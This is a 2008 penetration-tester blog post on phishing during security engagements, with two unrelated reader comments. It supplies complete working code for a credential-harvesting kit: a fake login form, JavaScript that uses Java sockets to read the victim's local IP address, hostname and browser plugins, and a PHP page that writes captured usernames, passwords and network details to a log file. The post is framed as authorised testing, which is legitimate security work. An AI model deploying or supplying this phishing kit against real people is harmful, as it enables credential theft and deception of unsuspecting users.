Saturday, April 5, 2008

Phishing Revisited


As Chris mentioned in a previous post we used social engineering and phishing emails as an attack vector. The scope of the engagement prevented us from collecting any data that could be used to identify the user. The client was not out to make examples of their staff but to see how well their education and training programs were working. I commend that approach as our goal as pentesters is not to simply own the network (well it is. :)) but we are also there to provide the data and metrics to help improve the client's overall security.

But what if the scope required that you use the phishing attack to capture user data and even possibly, as Chris stated, upload and use the credentials of the user to dig deeper into the network.

Let's take a look at how you can use a simple page containing some javascript and php (or perl) to accomplish this. First let us determine what we are looking to collect from the client machine and user. One restriction is we cannot upload anything (backdoor, etc...) to the client machine. So what can we collect then? We can collect the credentials (username/password) entered by the user, computer's hostname, local and remote IP Addresses, Firefox plugins and more. Let's assume that we are using the same phish as in the previous post. We are going to use the same perl mass mailer and the same html pages. Well that's great but how do you collect all that data?

Let's start with the page we want the user to see when they click on the link in the email. We'll call it login.html, a fake login page. I will simply show the code need to begin collecting the data. I'll leave the design and layout up to you.

A few simple text boxes and a submit button is all that is needed to begin the process of collecting the username and password of the user.
<form method="POST" name="login" action="result.php" onsubmit="return process_target()">
<table cellspacing="5" bgcolor="#C0C0C0">
<tr><td width="100">Username:</td><td><input type="text" size="20" name="username" /></td></tr>
<tr><td>Password:</td><td><input type="password" size="20" name="password" /></td></tr>
<tr><td colspan="2">&nbsp;</td></tr>
<tr><td><input type="submit" value="Login" /></td><td><a href="forgot.html">Forgot your password?</a></td></tr>
</table>
<input type="hidden" name="local_ip" />
<input type="hidden" name="hostname" />
<input type="hidden" name="plugins" />
</form>
Well, that is simple enough, we can send that data anywhere we want. If you don't mind grepping through webserver logs you don't even need to send it to another page, file or database, you can simply seach for the strings in your server logs. Looking at the code you'll notice the javascript onsubmit() event. Why? Well this is where we begin to add to our code and start to do some cool stuff. We use the onsubmit() event to call the process_target() function. We are going to use javascript's ability to invoke java classes directly from within Firefox. We are going to use java.net.Socket() class with to determine the local IP address and hostname of the target machine. This is great if the user is behind a NAT'd firewall or router.

Originally my code used the java.net.InetAddress class to obtain the IP address. Lenny Zeltser found that it was not always reliable and sometimes did not return an address at all during testing. Annoying! So Lenny suggested the following code that works perfectly.

<script>
function process_target() {

window.onerror=null;

try {

var sock = new java.net.Socket();
sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port));
document.forms[0].local_ip.value = sock.getLocalAddress().getHostAddress();
document.forms[0].hostname.value = sock.getLocalAddress().getHostName();

for (var index = 0; index < navigator.plugins.length; index++)
document.forms[0].plugins.value = document.forms[0].plugins.value + navigator.plugins[index].name + "; ";

} catch (e) {}

}
</script>
In addition to the local IP and hostname we are also able to determine the Firefox plugins (media player, quicktime, flash, etc...). Excellent!!

Now we need to retrieve this data and while we're at it let's see what other data we can determine from the remote machine. The second page, result.php, a fake login failure page is going to be used to receive that data from login.html and write it to a text file on our server. I normally format this page to look like a legitimate error page. with a nice message for the user to contact the help desk.

Let's take a look at the code and how using PHP's global variables we're able to capure more data about the user's environment.

<?php

$file="data.txt";
$register_globals = (bool) ini_get('register_globals');

/* Capture user-submitted data. */
$uid = $_POST['username'];
$pass = $_POST['password'];

/* Capture additional data collected via Java */
$local_ip = $_POST['local_ip'];
$hostname = $_POST['hostname'];
$plugins = $_POST['plugins'];

/* Capture environment variables */
$rem_ip = $_SERVER['REMOTE_ADDR'];
$rem_port = $_SERVER['REMOTE_PORT'];
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$referer = $_SERVER['HTTP_REFERER'];
$date=date ('dS \of F Y h:1:s A');

/* Write data to file */
$log=fopen("$file", "a+");
fputs($log, "DATE: $date\nUSER: $uid\nPASSWORD: $pass\nLOCAL IP: $local_ip\nREMOTE IP: $rem_ip\nPORT: $rem_port\nHOST: $hostname\nUSER AGENT: $user_agent\nREFERRER: $referer\nPLUGINS: $plugins\n\n");
fclose($log);
?>
We make use of the server variables provided by PHP. $_SERVER is an array that contains information such as headers, paths, and script locations. For additional options check out the PHP manual here. The next step is to place a text file called data.txt on your webserver. Ensure that this file is both readable and writable as our result.php page as we will be using fputs() to append the results to this file.

Ok, Let's see what we now have the ability to capture :
username and password, local and remote IP, hostname, remote port, Firefox plugins, the user-agent string and referrer and for good measure we collect the date and time as well and write it all to a text file to review and use in other areas of the engagement.

I hope that helps show how simple and how powerful a phishing attack during a pentest can be. We did not even need to install a back door. The change in attack vector of choice from remote to client-side exploits by attacks is seen in more and more cases. It's now becoming even more important that you inform your client of the dangers client-side attacks. I've shown you two options in this and the previous post that don't actually compromise the remote host but do give you valuable data to use for improving awareness programs or gaining additional access to the network.

Cheers,
Dean

dean de beer

2 comments:

Anonymous said...

I am interested in this since you can get the local IP address of the machine but i am designing a video server and need to be able to get the local IP without using Jave since some of the computers it will serve don't have Java installed and I don't have time to install it on the thousands of computers the server will serve. Any suggestions would be greatly appreciated.

Anonymous said...

guys I want to make a p2p app, but I don't know how to access to router ipvalue through java, can anyone gime some tips?